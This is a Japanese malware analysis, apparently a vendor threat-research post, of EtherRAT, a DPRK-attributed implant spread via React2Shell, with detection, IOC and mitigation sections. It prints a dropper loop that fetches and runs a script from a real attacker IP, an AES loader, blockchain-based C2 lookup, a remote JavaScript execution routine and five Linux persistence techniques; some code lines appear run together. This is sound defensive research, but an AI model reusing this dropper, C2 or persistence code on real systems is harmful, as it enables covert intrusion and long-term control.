EtherRAT：DPRKがReact2Shell攻撃で新たなEthereumインプラントを使用

Sysdig 脅威リサーチチーム

ステージ0：base64シェルドロッパーによる初期アクセス 

React2Shellのエクスプロイトは、base64エンコードされたペイロードを実行します：

sh -c echo <base64>|base64 -d|bash

デコードすると、永続的なダウンロードループが明らかになります：

while :; do 
  (curl -sL http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh -o ./s.sh 2>/dev/null || \
   wget -qO ./s.sh http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh 2>/dev/null || \
   python3 -c "import urllib.request as u;open('./s.sh','wb').write(u.urlopen('http://193.24.123.68:3001/gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh').read())") && \
  [ -s ./s.sh ] && chmod +x ./s.sh && ./s.sh && break
  sleep 300
done

このドロッパーには、いくつかの危険な兆候が見られます：

• 複数のダウンロード手段：対象環境での互換性を最大化するため、curl→wget→python3の順に試行します。
• リトライループ：ダウンロードに失敗すると300秒待機し、無期限に再試行します。
• サイレント実行：すべてのダウンロードコマンドがエラー出力を抑制します。
• サイズチェック：実行前にダウンロードしたファイルが空でないことを確認します（[ -s ./s.sh ]）。
• 難読化されたファイル名：URLパス（gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh）は、明白なパターンを避けるための意味不明な名称を使用していますが、キーボードを適当に叩いたようなスタイルは、プログラム生成ではなく手作業で作られたことを示唆します。

ダウンロードされたシェルスクリプト（s.sh）はnodejs.orgからNode.jsをダウンロードし、暗号化されたペイロードと難読化されたJavaScriptドロッパーを展開してから、ステージ2を実行します。

ステージ1：シェルスクリプトによる展開（s.sh）

ダウンロードされたシェルスクリプトは、JavaScriptペイロードを実行する前に永続化のための基盤を構築します。以下は難読化解除後のロジックです：

#!/bin/bashD="$HOME/.local/share/.05bf0e9b"
ND="$D/.4dai8ovb"
mkdir -p "$D" 2>/dev/null
# Download Node.js runtime from official sourceU1="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.gz"
U2="https://nodejs.org/dist/v20.10.0/node-v20.10.0-linux-x64.tar.xz"
# Try .tar.gz first, fall back to .tar.xzif curl -sL "$U1" -o "${Z}.tar.gz" || wget -q "$U1" -O "${Z}.tar.gz"; then
  tar -xzf "${Z}.tar.gz" -C "$D" || {
    # If extraction fails, try .xz format
    curl -sL "$U2" -o "${Z}.tar.xz" || wget -q "$U2" -O "${Z}.tar.xz"
    tar -xJf "${Z}.tar.xz" -C "$D"
  }
fi
mv "$D/node-v20.10.0-linux-x64" "$ND"
chmod +x "$ND/bin/node"
# Write encrypted payload and obfuscated dropperecho "<base64_encrypted_blob>" | base64 -d > "$D/.1d5j6rm2mg2d"
echo "<base64_obfuscated_js>" | base64 -d > "$D/.kxnzl4mtez.js"
# Execute dropper in background, self-deletenohup "$ND/bin/node" "$D/.kxnzl4mtez.js" >/dev/null 2>&1 &
rm -f "${BASH_SOURCE[0]}"
exit 0

ステージ1の主な観察点：

• 正規のNode.jsダウンロード：nodejs.orgからNode.js v20.10.0を直接ダウンロードし、不審なバイナリ同梱による検知を回避します。
• 隠しディレクトリ構造：.local/share/.05bf0e9bのような、ランダム化された16進サブディレクトリを使用します。
• 二重ペイロード展開：暗号化ブロブ（.1d5j6rm2mg2d）と難読化JavaScriptドロッパー（.kxnzl4mtez.js）の両方を書き込みます。
• 自己削除：実行後にシェルスクリプトを削除し、フォレンジック痕跡を減らします。
• サイレントなバックグラウンド実行：nohupを使用し、stdout/stderrを/dev/nullへリダイレクトします。

ステージ2：難読化JavaScriptドロッパー（.kxnzl4mtez.js）

ドロッパーは、ハードコードされた鍵素材を用いてAES-256-CBCでメインペイロードを復号します：

const kb = "cn7uRzKiMgOZ/dDxuclzgDrGKLQ7HEtEZ1Ld6k6eRsg=";  // Base64 AES keyconst ib = "2iWxmWx4r98fhW9jIpzKXA==";                      // Base64 IVconst key = Buffer.from(kb, "base64");
const iv = Buffer.from(ib, "base64");

functiondec(h) {
const k = fs.readFileSync(h);
const l = crypto.createDecipheriv("aes-256-cbc", key, iv);
return Buffer.concat([l.update(k), l.final()]);
}

ドロッパーは.1d5j6rm2mg2dから暗号化ブロブを読み取り、復号し、結果を.7vfgycfd01.jsに書き込み、.4dai8ovb/bin/nodeにあるダウンロード済みNode.jsバイナリで起動します。ランタイムを同梱せずnodejs.orgからダウンロードする点は重要です。ペイロードサイズを削減し、不審な埋め込みバイナリの検知を回避し、信頼されたインフラを利用しつつ、標的側にNode.jsがインストールされているかどうかに関わらずインプラントが動作することを保証します。

ドロッパーはまた、ランダム生成されたボットIDとペイロードファイル名を含む状態ファイルを初期化します：

const r = {
0: crypto.randomUUID(),  // Bot ID1: ln                     // Payload filename (.7vfgycfd01.js)};

‍

この状態ファイルは、難読化された命名規則を使用します：.{md5(script_directory).slice(0,6)}.

ステージ3：メインインプラント

復号して起動されると、EtherRATは後述の「攻撃的なLinux永続化」セクションで詳述する複数のメカニズムにより永続的なアクセスを確立します。

スマートコントラクトの問い合わせメカニズム

EtherRATは、アドレス0x22f96d61cf118efabc7c5bf3384734fad2f6ead4のスマートコントラクトに対し、関数セレクタ0x7d434425とパラメータ0xE941A9b283006F5163EE6B01c1f23AA5951c4C8Dを用いて問い合わせます：

const j = "0x22f96d61cf118efabc7c5bf3384734fad2f6ead4";  // Contract addressconst k = "0xE941A9b283006F5163EE6B01c1f23AA5951c4C8D";  // Lookup parameterconst B = "0x7d434425";                                   // Function selector
const C = K => {
return B + K.toLowerCase().replace("0x", "").padStart(64, "0");
};

RPCエンドポイントに対するコンセンサスベースの耐性

この実装を独自のものにしているのは、9つの公開Ethereumリモートプロシージャコール（RPC）エンドポイントにまたがるコンセンサス投票を使用している点です：

const m = [
"https://eth.llamarpc.com",
"https://mainnet.gateway.tenderly.co",
"https://rpc.flashbots.net/fast",
"https://rpc.mevblocker.io",
"https://eth-mainnet.public.blastapi.io",
"https://ethereum-rpc.publicnode.com",
"https://rpc.payload.de",
"https://eth.drpc.org",
"https://eth.merkle.io"];

EtherRATは9つすべてのエンドポイントに並列で問い合わせ、応答を収集し、多数派が返したURLを選択します：

const P = {};
O.forEach(Q => {
  P[Q] = (P[Q] || 0) + 1;
});
returnObject.entries(P).sort((Q, R) => R[1] - Q[1])[0][0];

このコンセンサスメカニズムは、いくつかの攻撃シナリオに対して防御します。単一の侵害されたRPCエンドポイントではボットをシンクホールへ誘導できず、研究者が不正なRPCノードを運用してC2解決を汚染することも困難になります。EtherRATは5分ごとにブロックチェーンへ問い合わせるため、オペレーターはスマートコントラクトを変更することでC2インフラを更新でき、その更新は展開済みの全ボットへ自動的に伝播します。

ブロックチェーンC2が従来のC2を上回る点

従来のC2インフラは、ドメイン押収、IPブロック、テイクダウン要請によって妨害され得ます。ブロックチェーンベースのC2はこれらの選択肢を排除します：

Reversing Labsは以前、この手法をcolortoolsv2およびmimelib2のnpmパッケージ（2025年7月）で文書化しましたが、これらの実装は単一のRPCエンドポイントを使用していました。ここで観測されたコンセンサスメカニズムは、運用セキュリティにおける大きな進化を示します。

リクエスト構造

各ポーリングは、正規のWebトラフィックに紛れ込むよう設計されたランダム化URLを構築します：

const L = p.randomBytes(4).toString("hex");           // Random path segmentconst M = ["png", "jpg", "gif", "css", "ico", "webp"];
const N = M[Math.floor(Math.random() * M.length)];   // Random "file" extensionconst O = ["id", "token", "key", "b", "q", "s", "v"];
const P = O[Math.floor(Math.random() * O.length)];   // Random query parameter
// Resulting URL pattern:// {c2_base}/api/{random}/{bot_id}/{random}.{ext}?{param}={build_id}

リクエスト例：

GET /api/a8f3b2c1/c6d83cb1-a4de-443d-bd78-da925acc5f8d/d4e5f6a7.png?token=c6d83cb1-a4de-443d-bd78-da925acc5f8d
Host: c2.example.com
X-Bot-Server: https://c2.example.com

このURL構造は、静的アセットに対するCDN（コンテンツ配信ネットワーク）リクエストを模倣しています。これは正規のWebトラフィックで一般的なパターンであり、ネットワークセキュリティアラートを引き起こしにくいものです。

コマンド実行

C2サーバーが10文字を超える応答を返すと、EtherRATはそれをJavaScriptコードとして扱い、直ちに実行します：

const a0 = Object.getPrototypeOf(asyncfunction () {}).constructor;
const a1 = new a0(
"require", "process", "Buffer", "console", "__dirname", "__filename", "log",
  X  // Response body from C2);
await a1(require, process, Buffer, console, __dirname, __filename, r);

AsyncFunctionコンストラクタを用いるこのパターンは、機能的にはeval()と同等ですが、非同期処理をサポートします。EtherRATは実行されるコードに完全なNode.jsプリミティブを渡し、オペレーターに以下へのアクセスを与えます：

これは完全な対話型シェルです。オペレーターはインプラントプロセスと同じ権限で任意のNode.jsコードを実行できます。

1. Systemdユーザーサービス

サービスファイルはランダムな16進名（例：a1b2c3d4e5f6.service）と汎用的な説明を使用し、検知を回避します。 

const W = o.join(M, ".config", "systemd", "user");
const X = p.randomBytes(6).toString("hex");
const Y = o.join(W, X + ".service");

n.writeFileSync(Y, `[Unit]
Description=User Application Service
After=network.target
[Service]
Type=simple
ExecStart=${P}Restart=always
RestartSec=30
[Install]
WantedBy=default.target`);

R("systemctl --user daemon-reload");
R("systemctl --user enable " + X + ".service");
R("systemctl --user start " + X + ".service");

‍

2. XDG自動起動エントリ

XDGを永続化に使用するのは、Linuxデスクトップユーザーの割合が低いことから、あまり一般的ではありません。しかしEtherRATは、典型的なマルウェアよりも広いカバレッジを狙っています。

const a2 = o.join(M, ".config", "autostart");
const a3 = p.randomBytes(6).toString("hex");
const a4 = o.join(a2, a3 + ".desktop");

n.writeFileSync(a4, `[Desktop Entry]
Type=Application
Name=System Service
Exec=${P}Hidden=true
NoDisplay=true
X-GNOME-Autostart-enabled=true`);

3. Cronジョブ

再起動後、この追加されたcronジョブは30秒後にEtherRATを実行します。これにより、システムが完全に起動する時間を確保します。

const a7 = "@reboot sleep 30 && " + P + " >/dev/null 2>&1 &";
const a8 = R("crontab -l 2>/dev/null || true", { encoding: "utf8" });
if (!a8.includes(N)) {
const a9 = a8.trim() + "\n" + a7 + "\n";
  R("echo \"" + a9 + "\" | crontab -");
}

4. Bashrcインジェクション

.bashrcファイルも変更され、ユーザーがサーバーにログインした際にEtherRATが実行されるようになります。

const ab = o.join(M, ".bashrc");
const ac = "\n# System\n(nohup " + P + " >/dev/null 2>&1 &) 2>/dev/null\n";
if (n.existsSync(ab)) {
const ae = n.readFileSync(ab, "utf8");
if (!ae.includes(N)) {
    n.appendFileSync(ab, ac);
  }
}

5. Profileインジェクション

EtherRATは、どの永続化メカニズムが正常にインストールされたかを状態ファイルで追跡し、冗長なインストール試行を回避します。

const af = o.join(M, ".profile");
const ag = "\n# App\n(" + P + " >/dev/null 2>&1 &) 2>/dev/null\n";
if (n.existsSync(af)) {
const ai = n.readFileSync(af, "utf8");
if (!ai.includes(N)) {
    n.appendFileSync(af, ag);
  }
}

‍

EtherRATで使用されている暗号化ローダーのパターンは、Contagious Interviewキャンペーンで使用されたDPRK関連のBeaverTailマルウェアと非常によく一致します。

注目すべき点として、Lazarus Groupやその他のDPRK関連脅威アクターは歴史的にNode.jsをペイロードに同梱してきましたが、今回特定したサンプルは公式のnodejs.org配布物からNode.jsをダウンロードします。これはトレードクラフトにおける大きな進化であり、ペイロードサイズの小ささと引き換えに検知リスクの低減を選択しています。

EtherRATの主な相違点：

1. 配布ベクター：偽の求人面接誘導ではなくReact2Shell悪用。
2. C2メカニズム：ハードコードではなくブロックチェーンベース。
3. 永続化：文書化されているContagious Interviewペイロードより大幅に攻撃的。
4. 認証情報の収集なし：BeaverTail/InvisibleFerretとは異なり、EtherRATには暗号資産ウォレットを標的とするコードが含まれません。

Google Threat Intelligence Group（GTIG）は最近、BeaverTailマルウェアとブロックチェーンベースのC2手法の使用を、DPRK関連の脅威アクターUNC5342に帰属させました。しかし、直接的なコードの重複がないため、EtherRATの背後にいる脅威アクターが同一であるとは確認できません。上記の重要な相違点のいくつかを踏まえると、これは複数のDPRK関連脅威グループ間で共有されている手法を示している可能性があります。 

あるいは、DPRKアクターが新たな初期アクセスベクターとしてReact2Shellを採用した可能性がある一方で、別の高度なアクターがアトリビューションを困難にするため、複数の文書化されたキャンペーンの手法を組み合わせている可能性もあります。

中国系React2Shell活動との比較

中国関連の脅威アクターによるReact2Shellの文書化された悪用は、EtherRATとは大きく異なります：

新規機能の要約

公式のnodejs.org配布物からNode.jsをダウンロードする手法は注目に値します。フラグ付けされ得るバイナリを同梱する代わりに、攻撃者は信頼されたソースを利用しており、nodejs.orgへのトラフィック自体は正規であるため、ネットワークベースの検知がより困難になります。

EtherRAT攻撃の検知と緩和方法

Sysdig Secureによるランタイム脅威検知

Sysdig Secureで監視されているホスト上でEtherRATが実行されると、以下を含む複数のランタイム脅威検知ルールがトリガーされます：

• Webサーバーによる不審なコマンド実行
• Base64エンコードされたPythonスクリプトの実行
• マイナープールドメインへのDNSルックアップ検知
• 不審なCron変更
• 不審なシステムサービス変更
• シェル設定ファイルの変更

EtherRATのネットワーク指標のハンティング

以下のパターンを監視してください：

• 193.24.123.68:3001へのアウトバウンド接続
• .shで終わる意味不明なファイル名を含むパスへのHTTPリクエスト
• nodejs.org/dist/v20.10.0/からのダウンロード 
• 複数のEthereum RPCエンドポイントへの短時間での連続アウトバウンドHTTPSリクエスト
• コントラクト0x22f96d61cf118efabc7c5bf3384734fad2f6ead4を問い合わせるeth_call JSON-RPCメソッドへのPOSTリクエスト
• 静的ファイル拡張子（.png、.jpg、.gif、.css、.ico、.webp）で終わるランダム化パスを伴う定期的なGETリクエスト
• X-Bot-Serverヘッダーを含むリクエスト

EtherRATのファイルシステム指標

EtherRATは展開ごとにランダム生成された隠しディレクトリ／ファイル名を使用します。特定パスではなくパターンを探索してください：

• $HOME/.local/share/配下の、ランダムな16進名（例：.05bf0e9b）を持つ隠しディレクトリ
• bin/node実行ファイルを含むネストされた隠しサブディレクトリ
• ユーザーデータディレクトリ内の隠し.jsファイル
• ランダムな16進名のsystemdユーザーサービス
• Hidden=trueおよびNoDisplay=trueを持つXDG自動起動エントリ
• 隠し.jsファイルを起動するnohupコマンドを含むbashrc/profileの改変

EtherRATの侵害指標（IOC）

注：このインプラントは展開ごとにランダムなディレクトリ名とファイル名を生成します。以下に挙げるファイル痕跡は、分析したサンプルに基づくものであり、普遍的な侵害指標（IOC）ではなく命名パターンの例として扱うべきです。

ステージングインフラ

Ethereumコントラクト（静的）

緩和策および対応の推奨事項

RSCまたはNext.jsを運用している組織は、直ちに対応してください：

• 直ちにパッチ適用：Reactを19.2.1以降へ更新し、Next.jsを修正済みバージョンへ更新してください。更新後にアプリケーションを再ビルドし、再デプロイします。
• 永続化のハンティング：露出していた可能性のあるシステムで、未承認のsystemdユーザーサービス、XDG自動起動エントリ、cronジョブ、bashrc/profile改変がないか確認してください。
• Ethereum RPCトラフィックの監視：Webアプリケーションサーバーから公開Ethereum RPCエンドポイントへの異常なアウトバウンド接続は調査すべきです。
• ランタイム検知の導入：自身のコードを更新するマルウェアに対して、シグネチャベースの検知は有効ではありません。この種のインプラントを特定するにはランタイム脅威検知が重要です。
• アプリケーションログの確認：React2Shell悪用の試行痕跡（RSCエンドポイントへの異常なPOSTリクエストや不正なペイロード）を検索してください。
• 認証情報のローテーション：侵害が疑われる場合、影響を受けたシステムからアクセス可能なすべての認証情報（クラウドプロバイダトークン、APIキー、SSHキーなど）をローテーションしてください。

結論：EtherRATがReact2Shellと将来の脅威に意味するもの

EtherRATはReact2Shell悪用における重要な進化を示しており、便乗的なクリプトマイニングや認証情報窃取を超えて、長期運用を目的とした永続的かつステルス性の高いアクセスへと移行しています。ブロックチェーンベースのC2、攻撃的な多経路永続化、そしてペイロード更新メカニズムの組み合わせは、React2Shellペイロードではこれまで観測されていない高度さを示しています。

DPRKの「Contagious Interview」ツール群との重なりは、アトリビューションや脅威アクター間のツール共有に関する重要な疑問を提起します。北朝鮮アクターが新たな悪用ベクターへ転換したのか、あるいは別のアクターが高度な手法借用を行っているのかにかかわらず、結果は同じです。防御側は、従来の検知やテイクダウン手法に耐性を持つ、対処の難しい新たなインプラントに直面しています。

Log4ShellからReact2Shellに至るまで、サプライチェーンおよびフレームワークレベルの脆弱性の頻度が増す中で、ランタイム脅威検知の重要性はこれまで以上に高まっています。攻撃者は複数キャンペーンの手法を組み合わせ、ペイロードを動的に改変できるようになったため、組織はシグネチャベースの検知や指標ブロックだけに依存できません。実行時の継続的な監視こそが、この進化する脅威環境に対する最も信頼できる防御であり続けます。